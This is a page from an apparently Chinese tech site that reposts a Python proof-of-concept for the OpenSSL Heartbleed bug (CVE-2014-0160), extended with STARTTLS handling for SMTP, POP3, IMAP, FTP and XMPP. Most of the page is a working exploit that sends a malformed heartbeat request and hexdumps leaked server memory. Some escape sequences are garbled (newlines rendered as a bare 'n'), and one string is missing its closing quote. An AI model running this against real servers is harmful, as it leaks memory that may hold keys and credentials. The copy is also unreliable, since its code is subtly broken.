首页>文档>网络技术>OPENSSL TLS 支持smtp, pop3, imap, ftp, or xmpp的POC

OPENSSL TLS 支持smtp, pop3, imap, ftp, or xmpp的POC

  1. #!/usr/bin/python
  2.  
  3. # Quick and dirty demonstration of CVE-2014-0160 by Jared Stafford ([email protected])
  4.  
  5. # Modified by Derek Callaway ([email protected]) to add STARTTLS protocols
  6.  
  7. # The authors disclaim copyright to this source code.
  8.  
  9. import sys
  10. import struct
  11. import socket
  12. import time
  13. import select
  14. import re
  15. from optparse import OptionParser
  16.  
  17. options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160))
  18. options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
  19. options.add_option('-s', '--starttls', type='string', default='', help='STARTTLS protocol: smtp, pop3, imap, ftp, or xmpp')
  20.  
  21. def h2bin(x):
  22. return x.replace(' ', '').replace('n', '').decode('hex')
  23.  
  24. hello = h2bin('''
  25. 16 03 02 00 dc 01 00 00 d8 03 02 53
  26. 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf
  27. bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00
  28. 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88
  29. 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c
  30. c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09
  31. c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44
  32. c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c
  33. c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11
  34. 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04
  35. 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19
  36. 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08
  37. 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13
  38. 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00
  39. 00 0f 00 01 01
  40. ''')
  41.  
  42. hb = h2bin('''
  43. 18 03 02 00 03
  44. 01 40 00
  45. ''')
  46.  
  47. def hexdump(s):
  48. for b in xrange(0, len(s), 16):
  49. lin = [c for c in s[b : b + 16]]
  50. hxdat = ' '.join('%02X' % ord(c) for c in lin)
  51. pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
  52. print ' %04x: %-48s %s' % (b, hxdat, pdat)
  53. print
  54.  
  55. def recvall(s, length, timeout=4):
  56. endtime = time.time() + timeout
  57. rdata = ''
  58. remain = length
  59. while remain > 0:
  60. rtime = endtime - time.time()
  61. if rtime < 0:
  62. return None
  63. r, w, e = select.select([s], [], [], 5)
  64. if s in r:
  65. data = s.recv(remain)
  66. # EOF?
  67. if not data:
  68. return None
  69. rdata += data
  70. remain -= len(data)
  71. return rdata
  72.  
  73.  
  74. def recvmsg(s):
  75. hdr = recvall(s, 5)
  76. if hdr is None:
  77. print 'Unexpected EOF receiving record header - server closed connection'
  78. return None, None, None
  79. typ, ver, ln = struct.unpack('>BHH', hdr)
  80. pay = recvall(s, ln, 10)
  81. if pay is None:
  82. print 'Unexpected EOF receiving record payload - server closed connection'
  83. return None, None, None
  84. print ' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))
  85. return typ, ver, pay
  86.  
  87. def hit_hb(s):
  88. s.send(hb)
  89. while True:
  90. typ, ver, pay = recvmsg(s)
  91. if typ is None:
  92. print 'No heartbeat response received, server likely not vulnerable'
  93. return False
  94.  
  95. if typ == 24:
  96. print 'Received heartbeat response:'
  97. hexdump(pay)
  98. if len(pay) > 3:
  99. print 'WARNING: server returned more data than it should - server is vulnerable!'
  100. else:
  101. print 'Server processed malformed heartbeat, but did not return any extra data.'
  102. return True
  103.  
  104. if typ == 21:
  105. print 'Received alert:'
  106. hexdump(pay)
  107. print 'Server returned error, likely not vulnerable'
  108. return False
  109.  
  110. BUFSIZ = 1024
  111.  
  112. def main():
  113. opts, args = options.parse_args()
  114.  
  115. if len(args) < 1:
  116. options.print_help()
  117. return
  118.  
  119. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  120.  
  121. print 'Connecting...'
  122.  
  123. s.connect((args[0], opts.port))
  124.  
  125. if opts.starttls != '':
  126. print 'Sending STARTTLS Protocol Command...'
  127.  
  128. if opts.starttls == 'smtp':
  129. s.recv(BUFSIZ)
  130. s.send("EHLO openssl.client.netn")
  131. s.recv(BUFSIZ)
  132. s.send("STARTTLSn")
  133. s.recv(BUFSIZ)
  134.  
  135. if opts.starttls == 'pop3':
  136. s.recv(BUFSIZ)
  137. s.send("STLSn")
  138. s.recv(BUFSIZ)
  139.  
  140. if opts.starttls == 'imap':
  141. s.recv(BUFSIZ)
  142. s.send("STARTTLSn")
  143. s.recv(BUFSIZ)
  144.  
  145. if opts.starttls == 'ftp':
  146. s.recv(BUFSIZ)
  147. s.send("AUTH TLSn")
  148. s.recv(BUFSIZ)
  149.  
  150. if opts.starttls == 'xmpp': # TODO: This needs SASL
  151. s.send("<stream:stream xmlns:stream='http://etherx.jabber.org/streams' xmlns='jabber:client' to='%s' version='1.0'n")
  152. s.recv(BUFSIZ)
  153.  
  154. print 'Sending Client Hello...'
  155.  
  156. s.send(hello)
  157.  
  158. print 'Waiting for Server Hello...'
  159.  
  160. while True:
  161. typ, ver, pay = recvmsg(s)
  162. if typ == None:
  163. print 'Server closed connection without sending Server Hello.'
  164. return
  165. # Look for server hello done message.
  166. if typ == 22 and ord(pay[0]) == 0x0E:
  167. break
  168.  
  169. print 'Sending heartbeat request...'
  170. sys.stdout.flush()
  171. s.send(hb)
  172. hit_hb(s)
  173.  
  174. if __name__ == '__main__':
  175. main()
0 条回复 A文章作者 M管理员
欢迎您,新朋友,感谢参与互动!
    暂无讨论,说说你的看法吧
个人中心
购物车
优惠劵
今日签到
私信列表
搜索

梦飞科技 - 最新云主机促销服务器租用优惠